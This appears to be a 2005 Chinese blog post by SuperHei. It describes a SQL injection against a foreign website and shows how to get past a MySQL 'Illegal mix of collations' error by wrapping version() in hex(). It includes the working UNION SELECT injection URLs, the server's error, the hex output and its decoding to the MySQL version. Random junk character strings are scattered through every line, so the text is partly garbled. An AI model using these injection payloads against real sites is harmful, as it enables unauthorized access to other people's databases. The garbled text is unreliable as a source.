本文作者:SuperHei
0 j! _6 g( c) H, B文章性质:原创
- L4 O. B$ C% S/ o0 N, @发布日期:2005-10-18
$ r( ^1 F( v2 y: W; I/ ?% V% t }测试个国外的站时:& j8 q8 Z7 h/ p/ G7 \8 Z$ S' ^
url:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*
/ _6 e, D+ z3 L. E: R0 E/ C' D8 i% I返回错误:
7 P3 T: V3 l% ~0 p; l( PIllegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'; U! N: L' z! W7 U
MySQL Error No. 126
& i; U& {" Z. \4 x2 ~* l看来是union查询前后字符集(http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html)不同出现的。
' Q3 [$ Y2 g5 f6 U9 K解决办法:转为其他编码如hex。- {: k3 p" t* ]6 m5 s. U: p J
url:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*/ O2 w6 e+ Y8 ]6 S- x, e5 H
成功得到hex(version())的值为:
* E+ M, x. q+ U% @# E7 G' G342E312E332D626574616 ^- C) b* H/ |
回Mysql查询下得到:/ w# Q I0 I3 H) D$ r' m
mysql> select 0x342E312E332D62657461;) Q) m: i$ w- |: M6 \0 r
+------------------------+
: z% h# r$ R+ h+ h, M4 f0 g7 k| 0x342E312E332D62657461 |
2 f% D- g, Z. S/ w) k4 z+------------------------+
: [6 V/ f, n) J( T3 [9 [; M| 4.1.3-beta |
! T; u) ^: m! e; O& |3 }: c+------------------------+
9 U7 R; m( i( _3 g3 \' c9 v1 row in set (0.00 sec)
4 d; g7 u: M# U7 B5 l$ F
' a* @3 B# N+ Z7 P9 Q* D) ^8 Q |